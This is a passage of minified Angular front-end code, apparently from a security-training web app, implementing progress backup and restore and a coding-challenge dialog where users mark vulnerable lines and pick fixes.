fallback."),o.continueCode=this.cookieService.get("continueCode")?this.cookieService.get("continueCode"):void 0,o.continueCodeFindIt=this.cookieService.get("continueCodeFindIt")?this.cookieService.get("continueCodeFindIt"):void 0,o.continueCodeFixIt=this.cookieService.get("continueCodeFixIt")?this.cookieService.get("continueCodeFixIt"):void 0;const m=new Blob([JSON.stringify(o)],{type:"text/plain;charset=utf-8"});(0,Ue.saveAs)(m,`${e}-${(new Date).toISOString().split("T")[0]}.json`)})}restore(e){return(0,xi.D)(e.text().then(o=>{const i=JSON.parse(o);i.version===this.VERSION?(this.restoreLocalStorage("score-board-version",i.scoreBoard?.scoreBoardVersion),this.restoreLocalStorage("displayedDifficulties",i.scoreBoard?.displayedDifficulties),this.restoreLocalStorage("showSolvedChallenges",i.scoreBoard?.showSolvedChallenges),this.restoreLocalStorage("showDisabledChallenges",i.scoreBoard?.showDisabledChallenges),this.restoreLocalStorage("showOnlyTutorialChallenges",i.scoreBoard?.showOnlyTutorialChallenges),this.restoreLocalStorage("displayedChallengeCategories",i.scoreBoard?.displayedChallengeCategories),this.restoreCookie("welcomebanner_status",i.banners?.welcomeBannerStatus),this.restoreCookie("cookieconsent_status",i.banners?.cookieConsentStatus),this.restoreCookie("language",i.language),this.restoreCookie("continueCodeFindIt",i.continueCodeFindIt),this.restoreCookie("continueCodeFixIt",i.continueCodeFixIt),this.restoreCookie("continueCode",i.continueCode),this.snackBar.open("Backup has been restored from "+e.name,"Apply changes now",{duration:1e4}).onAction().subscribe(()=>{const l=i.continueCode?this.challengeService.restoreProgress(encodeURIComponent(i.continueCode)):(0,bt.of)(!0),m=i.continueCodeFindIt?this.challengeService.restoreProgressFindIt(encodeURIComponent(i.continueCodeFindIt)):(0,bt.of)(!0),v=i.continueCodeFixIt?this.challengeService.restoreProgressFixIt(encodeURIComponent(i.continueCodeFixIt)):(0,bt.of)(!0);(0,Nt.D)([l,m,v]).subscribe(()=>{location.reload()},A=>{console.log(A)})})):this.snackBarHelperService.open(`Version ${i.version} is incompatible with expected version ${this.VERSION}`,"errorBar")}).catch(o=>{this.snackBarHelperService.open(`Backup restore operation failed: ${o.message}`,"errorBar")}))}restoreCookie(e,o){if(o){const i=new Date;i.setFullYear(i.getFullYear()+1),this.cookieService.put(e,o,{expires:i})}else this.cookieService.remove(e)}restoreLocalStorage(e,o){o?localStorage.setItem(e,JSON.stringify(o)):localStorage.removeItem(e)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(I.N_),t.LFG(ot),t.LFG(J.H),t.LFG(ut.ux))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),ne=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets"}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}challenges(){return this.http.get(`${this.host}`).pipe((0,C.U)(e=>e.challenges),(0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),bi=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets/fixes"}get(e){return this.http.get(this.host+`/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}check(e,o){return this.http.post(this.host,{key:e,selectedFix:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ti=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets/verdict"}check(e,o){return this.http.post(this.host,{key:e,selectedLines:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Mt=c(3848),oe=c(8225);function Ai(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",5),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.selectLines(r.lineNumber))}),t._uU(1),t.qZA()}if(2&n){const e=a.$implicit;t.Q6J("id","line"+e.lineNumber),t.xp6(1),t.Oqu(e.marked?"\\u2705":"\\u{1f532}")}}let yi=(()=>{class n{constructor(){this.code="",this.addLine=new t.vpe,this.langs=["javascript","typescript","json","yaml"]}ngOnInit(){this.lineMarkers=this.code.split("\\n").map((e,o)=>({lineNumber:o+1,marked:!1}))}selectLines(e){const o=this.lineMarkers[e-1];o.marked=!o.marked;const i=[];for(const{marked:r,lineNumber:l}of this.lineMarkers)r&&i.push(l);this.addLine.emit(i)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-code-area"]],inputs:{code:"code",vulnLines:"vulnLines"},outputs:{addLine:"addLine"},decls:6,vars:4,consts:[["id","code-area"],["id","code"],["id","emphasize"],["class","lineMarker",3,"id","click",4,"ngFor","ngForOf"],[3,"highlight","lineNumbers","languages"],[1,"lineMarker",3,"id","click"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"pre",1)(2,"div",2),t.YNc(3,Ai,2,2,"div",3),t._uU(4,"\\n "),t.qZA(),t._UZ(5,"code",4),t.qZA()()),2&e&&(t.xp6(3),t.Q6J("ngForOf",o.lineMarkers),t.xp6(2),t.Q6J("highlight",o.code)("lineNumbers",!0)("languages",o.langs))},dependencies:[h.sg,oe.y$],styles:["pre[_ngcontent-%COMP%] code.hljs[_ngcontent-%COMP%]{display:block;overflow-x:auto;padding:1em}code.hljs[_ngcontent-%COMP%]{padding:3px 5px}.hljs[_ngcontent-%COMP%]{background:white;color:#000}.hljs-comment[_ngcontent-%COMP%], .hljs-quote[_ngcontent-%COMP%], .hljs-variable[_ngcontent-%COMP%]{color:green}.hljs-keyword[_ngcontent-%COMP%], .hljs-selector-tag[_ngcontent-%COMP%], .hljs-built_in[_ngcontent-%COMP%], .hljs-name[_ngcontent-%COMP%], .hljs-tag[_ngcontent-%COMP%]{color:#00f}.hljs-string[_ngcontent-%COMP%], .hljs-title[_ngcontent-%COMP%], .hljs-section[_ngcontent-%COMP%], .hljs-attribute[_ngcontent-%COMP%], .hljs-literal[_ngcontent-%COMP%], .hljs-template-tag[_ngcontent-%COMP%], .hljs-template-variable[_ngcontent-%COMP%], .hljs-type[_ngcontent-%COMP%], .hljs-addition[_ngcontent-%COMP%]{color:#a31515}.hljs-deletion[_ngcontent-%COMP%], .hljs-selector-attr[_ngcontent-%COMP%], .hljs-selector-pseudo[_ngcontent-%COMP%], .hljs-meta[_ngcontent-%COMP%]{color:#2b91af}.hljs-doctag[_ngcontent-%COMP%]{color:gray}.hljs-attr[_ngcontent-%COMP%]{color:red}.hljs-symbol[_ngcontent-%COMP%], .hljs-bullet[_ngcontent-%COMP%], .hljs-link[_ngcontent-%COMP%]{color:#00b0e8}.hljs-emphasis[_ngcontent-%COMP%]{font-style:italic}.hljs-strong[_ngcontent-%COMP%]{font-weight:700}#emphasize[_ngcontent-%COMP%]{float:left;padding:1em .5em}#code[_ngcontent-%COMP%]{width:63em}.lineMarker[_ngcontent-%COMP%]{cursor:pointer}"]}),n})();var Pe=c(5244);const Zi=["codeComponent"];function wi(n,a){if(1&n&&(t.TgZ(0,"div"),t._UZ(1,"td-ngx-text-diff",4,5),t.qZA()),2&n){const e=t.oxw().$implicit,o=t.oxw();t.xp6(1),t.Q6J("left",o.snippet)("right",null==e?null:e.fix)("format",o.format)}}function Si(n,a){if(1&n&&(t.TgZ(0,"div",2),t.YNc(1,wi,3,3,"div",3),t.qZA()),2&n){const e=a.index,o=t.oxw();t.xp6(1),t.Q6J("ngIf",o.selectedFix===e)}}let ki=(()=>{class n{constructor(e,o){this.cookieService=e,this.differs=o,this.snippet="",this.fixes=[],this.selectedFix=0,this.randomFixes=[],this.format="SideBySide",this.cookieService=e,this.differ=this.differs.find({}).create()}ngOnInit(){this.cookieService.hasKey("code-fixes-component-format")?this.format=this.cookieService.get("code-fixes-component-format"):(this.format="LineByLine",this.cookieService.put("code-fixes-component-format","LineByLine"))}ngDoCheck(){try{const e=this.differ.diff({"diff-format":this.codeComponent.format});e&&e.forEachChangedItem(o=>{this.format=o.currentValue,this.cookieService.put("code-fixes-component-format",this.format)})}catch{}}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(I.N_),t.Y36(t.aQg))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-code-fixes"]],viewQuery:function(e,o){if(1&e&&t.Gf(Zi,5),2&e){let i;t.iGM(i=t.CRH())&&(o.codeComponent=i.first)}},inputs:{snippet:"snippet",fixes:"fixes",selectedFix:"selectedFix",randomFixes:"randomFixes",format:"format"},decls:2,vars:1,consts:[[1,"wrapper"],["id","code",4,"ngFor","ngForOf"],["id","code"],[4,"ngIf"],[3,"left","right","format"],["codeComponent",""]],template:function(e,o){1&e&&(t.TgZ(0,"section",0),t.YNc(1,Si,2,1,"div",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("ngForOf",o.randomFixes))},dependencies:[h.sg,h.O5,Pe.zB],styles:["#code[_ngcontent-%COMP%]{width:63em}.wrapper[_ngcontent-%COMP%]{padding-top:16px}"]}),n})();function Ii(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"app-code-area",22),t.NdJ("addLine",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.addLine(i))}),t.qZA()}if(2&n){const e=t.oxw();t.Q6J("code",null==e.snippet?null:e.snippet.snippet)("vulnLines",null==e.snippet?null:e.snippet.vulnLines)}}function Oi(n,a){1&n&&(t.TgZ(0,"pre"),t._uU(1," "),t.TgZ(2,"code",23),t._uU(3,"LOADING_CODE_SNIPPET"),t.qZA(),t._uU(4,"\\n "),t.qZA())}function Ui(n,a){if(1&n&&(t._uU(0),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",24),t._uU(3),t.qZA()),2&n){const e=t.oxw();t.hij(" ",t.lcZ(1,3,"TAB_FIX_IT")," "),t.xp6(2),t.Q6J("color",e.lockColor()),t.xp6(1),t.Oqu(e.lockIcon())}}function Li(n,a){if(1&n&&t._UZ(0,"app-code-fixes",25),2&n){const e=t.oxw();t.Q6J("snippet",null==e.snippet?null:e.snippet.snippet)("fixes",e.fixes)("randomFixes",e.randomFixes)("selectedFix",e.selectedFix)}}function Pi(n,a){if(1&n&&(t.TgZ(0,"mat-card",26),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",e.hint," ")}}function Ni(n,a){if(1&n&&(t.TgZ(0,"mat-card"),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.Tol("warn"===e.resultColor()?"warn-notification":"accent-notification"),t.xp6(1),t.hij(" ",e.explanation," ")}}function Ei(n,a){if(1&n&&(t.TgZ(0,"option",30),t._uU(1),t.qZA()),2&n){const e=a.index,o=t.oxw(2);t.Q6J("value",e)("selected",o.selectedFix===e),t.xp6(1),t.hij("Fix ",e+1,"")}}function Mi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-form-field",27)(1,"mat-label",23),t._uU(2,"LABEL_CORRECT_FIX"),t.qZA(),t.TgZ(3,"select",28),t.NdJ("change",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.changeFix(i))}),t.YNc(4,Ei,2,3,"option",29),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.Q6J("ngForOf",e.randomFixes)}}function Di(n,a){if(1&n&&(t.TgZ(0,"a",31)(1,"button",32)(2,"mat-icon",33),t._uU(3,"thumb_up"),t.qZA()()()),2&n){const e=t.oxw();t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.dialogData.name+"&entry.435235279=Coding+Challenge&entry.1734944650=Yes",t.LSH)}}function qi(n,a){if(1&n&&(t.TgZ(0,"a",31)(1,"button",32)(2,"mat-icon",34),t._uU(3,"thumb_down"),t.qZA()()()),2&n){const e=t.oxw();t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.dialogData.name+"&entry.435235279=Coding+Challenge&entry.1734944650=No",t.LSH)}}function Fi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",35),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.checkLines())}),t.TgZ(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.TgZ(4,"mat-icon",36),t._uU(5),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",e.solved.findIt),t.xp6(2),t.hij(" ",t.lcZ(3,4,"BTN_SUBMIT"),""),t.xp6(2),t.Q6J("color",e.resultColor()),t.xp6(1),t.hij(" ",e.resultIcon()," ")}}function Bi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",37),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.checkFix())}),t.TgZ(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.TgZ(4,"mat-icon",36),t._uU(5),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",e.solved.fixIt),t.xp6(2),t.hij(" ",t.lcZ(3,4,"BTN_SUBMIT"),""),t.xp6(2),t.Q6J("color",e.resultColor()),t.xp6(1),t.hij(" ",e.resultIcon()," ")}}const Ri=function(n){return{"btns-findit":n}};var H=(()=>{return(n=H||(H={}))[n.Undecided=0]="Undecided",n[n.Right=1]="Right",n[n.Wrong=2]="Wrong",H;var n})();let Ne=(()=>{class n{constructor(e,o,i,r,l,m,v){this.dialogData=e,this.configurationService=o,this.codeSnippetService=i,this.vulnLinesService=r,this.codeFixesService=l,this.challengeService=m,this.cookieService=v,this.snippet=null,this.fixes=null,this.selectedFix=0,this.tab=new s.p4(0),this.lock=H.Undecided,this.result=H.Undecided,this.hint=null,this.explanation=null,this.solved={findIt:!1,fixIt:!1},this.showFeedbackButtons=!0,this.randomFixes=[],this.addLine=A=>{this.selectedLines=A},this.setFix=A=>{this.selectedFix=A,this.explanation=null},this.toggleTab=A=>{this.tab.setValue(A),this.result=H.Undecided,0===A&&this.solved.findIt&&(this.result=H.Right),1===A&&this.solved.fixIt&&(this.result=H.Right)},this.checkFix=()=>{this.codeFixesService.check(this.dialogData.key,this.randomFixes[this.selectedFix].index).subscribe(A=>{this.setVerdict(A.verdict),this.explanation=A.explanation})},this.checkLines=()=>{this.vulnLinesService.check(this.dialogData.key,this.selectedLines).subscribe(A=>{this.setVerdict(A.verdict),this.hint=A.hint})},this.setVerdict=A=>{this.result!==H.Right&&(A?(0===this.tab.value?(this.solved.findIt=!0,this.challengeService.continueCodeFindIt().subscribe(q=>{if(!q)throw new Error("Received invalid continue code from the server!");const Y=new Date;Y.setFullYear(Y.getFullYear()+1),this.cookieService.put("continueCodeFindIt",q,{expires:Y})},q=>{console.log(q)})):(this.solved.fixIt=!0,this.challengeService.continueCodeFixIt().subscribe(q=>{if(!q)throw new Error("Received invalid continue code from the server!");const Y=new Date;Y.setFullYear(Y.getFullYear()+1),this.cookieService.put("continueCodeFixIt",q,{expires:Y})},q=>{console.log(q)})),this.result=H.Right,this.lock=H.Right,c.e(103).then(c.bind(c,8103)).then(q=>{q.shootConfetti()}).then(()=>{0===this.tab.value&&null!==this.fixes&&this.toggleTab(1)})):this.result=H.Wrong)}}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{this.showFeedbackButtons=e.challenges.showFeedbackButtons},e=>{console.log(e)}),this.codeSnippetService.get(this.dialogData.key).subscribe(e=>{this.snippet=e,this.solved.findIt=!1,this.dialogData.codingChallengeStatus>=1&&(this.result=H.Right,this.lock=H.Right,this.solved.findIt=!0)},e=>{this.snippet={snippet:e.error}}),this.codeFixesService.get(this.dialogData.key).subscribe(e=>{this.fixes=e.fixes,this.fixes&&this.shuffle(),this.solved.fixIt=this.dialogData.codingChallengeStatus>=2},()=>{this.fixes=null})}changeFix(e){this.setFix(parseInt(e.target.value,10))}lockIcon(){if(null===this.fixes)return"lock";switch(this.lock){case H.Right:return"lock_open";case H.Wrong:case H.Undecided:return"lock"}}lockColor(){switch(this.lockIcon()){case"lock_open":return"accent";case"lock":return"warn"}}shuffle(){this.randomFixes=this.fixes.map((e,o)=>({fix:e,index:o,sort:Math.random()})).sort((e,o)=>e.sort-o.sort).map(({fix:e,index:o})=>({fix:e,index:o}))}resultIcon(){switch(this.result){case H.Right:return"check";case H.Wrong:return"clear";default:return"send"}}resultColor(){switch(this.resultIcon()){case"check":return"accent";case"clear":return"warn"}}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI),t.Y36(b.e),t.Y36(ne),t.Y36(Ti),t.Y36(bi),t.Y36(ot),t.Y36(I.N_))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["code-snippet"]],hostAttrs:[1,"code-snippet"],decls:32,vars:26,consts:[["mat-dialog-title",""],["id","code-snippet",1,"mat-typography"],["mat-stretch-tabs","",3,"selectedIndex","selectedIndexChange"],[3,"label"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],[3,"code","vulnLines","addLine",4,"ngIf"],[4,"ngIf"],[3,"disabled"],["mat-tab-label",""],["fxLayout","column"],[3,"snippet","fixes","randomFixes","selectedFix",4,"ngIf"],[1,"dialog-action"],["class","primary-notification",4,"ngIf"],[3,"class",4,"ngIf"],[1,"btns",3,"ngClass"],["class","fix","appearance","fill",4,"ngIf"],["target","_blank",3,"href",4,"ngIf"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog","id","findItCloseButton",1,"close-dialog","buttons",3,"mat-dialog-close"],[1,"material-icons"],["mat-stroked-button","","id","findItSubmitButton",3,"disabled","click",4,"ngIf"],["mat-stroked-button","","id","fixItSubmitButton",3,"disabled","click",4,"ngIf"],[3,"code","vulnLines","addLine"],["translate",""],[1,"materaial-icons-outlined",3,"color"],[3,"snippet","fixes","randomFixes","selectedFix"],[1,"primary-notification"],["appearance","fill",1,"fix"],["matNativeControl","",3,"change"],[3,"value","selected",4,"ngFor","ngForOf"],[3,"value","selected"],["target","_blank",3,"href"],["mat-icon-button",""],["color","accent"],["color","warn"],["mat-stroked-button","","id","findItSubmitButton",3,"disabled","click"],[3,"color"],["mat-stroked-button","","id","fixItSubmitButton",3,"disabled","click"]],template:function(e,o){1&e&&(t.TgZ(0,"h2",0),t._uU(1),t.ALo(2,"translate"),t.qZA(),t.TgZ(3,"mat-dialog-content",1)(4,"mat-tab-group",2),t.NdJ("selectedIndexChange",function(r){return o.toggleTab(r)}),t.TgZ(5,"mat-tab",3),t.ALo(6,"translate"),t.TgZ(7,"div",4)(8,"div",5),t.YNc(9,Ii,1,2,"app-code-area",6),t.YNc(10,Oi,5,0,"pre",7),t.qZA()()(),t.TgZ(11,"mat-tab",8),t.YNc(12,Ui,4,5,"ng-template",9),t.TgZ(13,"div",10)(14,"div",5),t.YNc(15,Li,1,4,"app-code-fixes",11),t.qZA()()()()(),t.TgZ(16,"mat-dialog-actions",12)(17,"div"),t.YNc(18,Pi,2,1,"mat-card",13),t.YNc(19,Ni,2,3,"mat-card",14),t.TgZ(20,"div",15),t.YNc(21,Mi,5,1,"mat-form-field",16),t.YNc(22,Di,4,1,"a",17),t.YNc(23,qi,4,1,"a",17),t.TgZ(24,"button",18)(25,"i",19),t._uU(26," close "),t.qZA(),t.TgZ(27,"span"),t._uU(28),t.ALo(29,"translate"),t.qZA()(),t.YNc(30,Fi,6,6,"button",20),t.YNc(31,Bi,6,6,"button",21),t.qZA()()()),2&e&&(t.xp6(1),t.AsE("",t.lcZ(2,18,"TITLE_CODING_CHALLENGE"),": ",o.dialogData.name,""),t.xp6(3),t.Q6J("selectedIndex",o.tab.value),t.xp6(1),t.Q6J("label",t.lcZ(6,20,"TAB_FIND_IT")),t.xp6(4),t.Q6J("ngIf",null!==o.snippet),t.xp6(1),t.Q6J("ngIf",null===o.snippet),t.xp6(1),t.Q6J("disabled","lock"===o.lockIcon()),t.xp6(4),t.Q6J("ngIf",null!==o.snippet&&null!==o.fixes),t.xp6(3),t.Q6J("ngIf",o.hint&&0===o.tab.value),t.xp6(1),t.Q6J("ngIf",o.explanation&&1===o.tab.value),t.xp6(1),t.Q6J("ngClass",t.VKq(24,Ri,0===o.tab.value)),t.xp6(1),t.Q6J("ngIf",1===o.tab.value),t.xp6(1),t.Q6J("ngIf",o.showFeedbackButtons&&o.solved.fixIt),t.xp6(1),t.Q6J("ngIf",o.showFeedbackButtons&&o.solved.fixIt),t.xp6(1),t.Q6J("mat-dialog-close",o.solved),t.xp6(4),t.hij(" ",t.lcZ(29,22,"BTN_CLOSE"),""),t.xp6(2),t.Q6J("ngIf",0===o.tab.value),t.xp6(1),t.Q6J("ngIf",1===o.tab.value))},dependencies:[h.mk,h.sg,h.O5,u.Pi,p.xw,p.SQ,$.oO,s.YN,s.Kr,F.Hw,f.KE,f.hX,x.lW,T.a8,B.Nt,N.ZT,N.uh,N.xY,N.H8,Mt.SP,Mt.uD,Mt.uX,yi,ki,u.X$],styles:[".stretched-tabs[_ngcontent-%COMP%]{max-width:600px}.code-snippet[_ngcontent-%COMP%]{position:relative}#code-snippet[_ngcontent-%COMP%]{width:65em}.dialog-action[_ngcontent-%COMP%]{display:block;margin-bottom:0!important;padding:0!important;position:relative}.fix[_ngcontent-%COMP%]{bottom:-20px;left:0;position:absolute}.btns[_ngcontent-%COMP%]{display:flex;flex:1;justify-content:flex-end;margin-top:36px}.btns-findit[_ngcontent-%COMP%]{margin-top:16px}.primary-notification[_ngcontent-%COMP%], .warn-notification[_ngcontent-%COMP%], .accent-notification[_ngcontent-%COMP%]{margin-top:16px;width:calc(63em - 157px)}"]}),n})();var ae=c(8423),Ee=c(3162),Me=c(811),De=c(2673),ie=c(7331);function Yi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",3),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.repeatNotification())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",4),t._uU(3,"flag"),t.qZA(),t.TgZ(4,"mat-icon",4),t._uU(5,"check_box"),t.qZA(),t.TgZ(6,"span",5),t._uU(7),t.ALo(8,"translate"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("id",e.challenge.name+".solved")("matTooltip",e.allowRepeatNotifications?t.lcZ(1,5,"NOTIFICATION_RESEND_INSTRUCTIONS"):null),t.xp6(2),t.Q6J("hidden",!e.allowRepeatNotifications),t.xp6(2),t.Q6J("hidden",e.allowRepeatNotifications),t.xp6(3),t.Oqu(t.lcZ(8,7,"STATUS_SOLVED"))}}function Ji(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",6),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.openHint())}),t.TgZ(1,"mat-icon",4),t._uU(2,"book"),t.qZA(),t.TgZ(3,"mat-icon",4),t._uU(4,"check_box_outline_blank"),t.qZA(),t.TgZ(5,"span",5),t._uU(6),t.ALo(7,"translate"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("id",e.challenge.name+".notSolved")("matTooltip",e.showChallengeHints?e.challenge.hint:null),t.xp6(1),t.Q6J("hidden",!e.showChallengeHints||!e.challenge.hintUrl),t.xp6(2),t.Q6J("hidden",e.showChallengeHints&&e.challenge.hintUrl),t.xp6(3),t.Oqu(t.lcZ(7,5,"STATUS_UNSOLVED"))}}function Qi(n,a){if(1&n&&t._UZ(0,"i"),2&n){const e=t.oxw(2);t.Tol("icon-"+(null==e.challenge.disabledEnv?null:e.challenge.disabledEnv.toString().toLowerCase()))}}function Hi(n,a){if(1&n&&t._UZ(0,"i"),2&n){const e=t.oxw(2);t.Tol("fab fa-"+(null==e.challenge.disabledEnv?null:e.challenge.disabledEnv.toString().toLowerCase()))}}function Gi(n,a){if(1&n&&(t.TgZ(0,"button",7)(1,"span"),t.YNc(2,Qi,1,3,"i",8),t.YNc(3,Hi,1,3,"i",8),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.Q6J("id",e.challenge.name+".unavailable")("matTooltip",e.challenge.hint),t.xp6(2),t.Q6J("ngIf","Windows"!==e.challenge.disabledEnv),t.xp6(1),t.Q6J("ngIf","Windows"===e.challenge.disabledEnv),t.xp6(1),t.hij(" ",t.lcZ(5,5,"STATUS_UNAVAILABLE")," ")}}O.vI.add(Z.ts2);let ji=(()=>{class n{constructor(e,o){this.challengeService=e,this.windowRefService=o,this.challenge={},this.allowRepeatNotifications=!1,this.showChallengeHints=!0}repeatNotification(){this.allowRepeatNotifications&&this.challengeService.repeatNotification(encodeURIComponent(this.challenge.name)).subscribe(()=>{this.windowRefService.nativeWindow.scrollTo(0,0)},e=>{console.log(e)})}openHint(){this.showChallengeHints&&this.challenge.hintUrl&&this.windowRefService.nativeWindow.open(this.challenge.hintUrl,"_blank")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ot),t.Y36(Vt))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-challenge-status-badge"]],inputs:{challenge:"challenge",allowRepeatNotifications:"allowRepeatNotifications",showChallengeHints:"showChallengeHints"},decls:3,vars:3,consts:[["mat-raised-button","","color","accent","matTooltipPosition","above",3,"id","matTooltip","click",4,"ngIf"],["mat-raised-button","","color","primary","matTooltipPosition","above",3,"id","matTooltip","click",4,"ngIf"],["mat-raised-button","","matTooltipPosition","above",3,"id","matTooltip",4,"ngIf"],["mat-raised-button","","color","accent","matTooltipPosition","above",3,"id","matTooltip","click"],[3,"hidden"],["fxShow","","fxHide.lt-lg",""],["mat-raised-button","","color","primary","matTooltipPosition","above",3,"id","matTooltip","click"],["mat-raised-button","","matTooltipPosition","above",3,"id","matTooltip"],[3,"class",4,"ngIf"]],template:function(e,o){1&e&&(t.YNc(0,Yi,9,9,"button",0),t.YNc(1,Ji,8,7,"button",1),t.YNc(2,Gi,6,7,"button",2)),2&e&&(t.Q6J("ngIf",!o.challenge.disabledEnv&&o.challenge.solved),t.xp6(1),t.Q6J("ngIf",!o.challenge.disabledEnv&&!o.challenge.solved),t.xp6(1),t.Q6J("ngIf",o.challenge.disabledEnv))},dependencies:[h.O5,$.b8,F.Hw,x.lW,Q.gM,u.X$]}),n})();function Ki(n,a){if(1&n&&(t.TgZ(0,"mat-card")(1,"mat-card-title"),t._uU(2),t.ALo(3,"translate"),t.TgZ(4,"small",3),t._uU(5),t.qZA()(),t._UZ(6,"mat-progress-bar",4),t.qZA()),2&n){const e=t.oxw();t.xp6(2),t.hij("",t.lcZ(3,4,"TITLE_CODING_SCORE")," "),t.xp6(3),t.hij("",e.percentCodingChallengesSolved,"%"),t.xp6(1),t.Q6J("color","accent")("value",e.percentCodingChallengesSolved)}}const Tt=function(n){return{num:n}},Wi=function(n){return{tier:n}};function zi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-button-toggle",9),t.NdJ("change",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.toggleDifficulty(r))}),t.ALo(1,"translate"),t.ALo(2,"translate"),t.TgZ(3,"label")(4,"span",28),t.O4$(),t.TgZ(5,"svg",29)(6,"linearGradient",30),t._UZ(7,"stop",31)(8,"stop",32),t.qZA(),t._UZ(9,"path",33),t.qZA(),t.kcU(),t.TgZ(10,"span",34),t._uU(11),t.qZA(),t.TgZ(12,"span"),t._uU(13),t.qZA()()()()}if(2&n){const e=a.$implicit,o=t.oxw();t.Q6J("checked",o.displayedDifficulties.includes(e))("disabled",o.restrictToTutorialsFirst&&e>o.tutorialsTier)("matTooltip",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted&&e>o.tutorialsTier?o.isLastTutorialsTier?t.xi3(1,13,"INFO_FULL_CHALLENGE_MODE",t.VKq(19,Tt,o.challenges.length)):t.xi3(2,16,"INFO_NEXT_TUTORIAL_TIER",t.VKq(21,Wi,"\\u2605".repeat(o.tutorialsTier))):""),t.xp6(5),t.Udp("fill","url(#"+e+")"),t.xp6(1),t.Q6J("id",e),t.xp6(1),t.uIk("offset",o.challenges?o.offsetValue[e-1]:"100%"),t.xp6(1),t.uIk("offset",o.challenges?o.offsetValue[e-1]:"100%"),t.xp6(1),t.uIk("fill","inherit"),t.xp6(2),t.Oqu(e),t.xp6(1),t.Tol("fa-layers-counter "+(o.solvedChallengesOfDifficulty[e-1].length===o.totalChallengesOfDifficulty[e-1].length?"accent-notification":0===o.solvedChallengesOfDifficulty[e-1].length?"warn-notification":"primary-notification")),t.xp6(1),t.hij(" ",o.solvedChallengesOfDifficulty[e-1].length+"/"+o.totalChallengesOfDifficulty[e-1].length," ")}}function $i(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-button-toggle",35),t.NdJ("change",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.toggleShowOnlyTutorialChallenges())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," school "),t.qZA(),t._uU(4),t.ALo(5,"translate"),t.qZA()}if(2&n){const 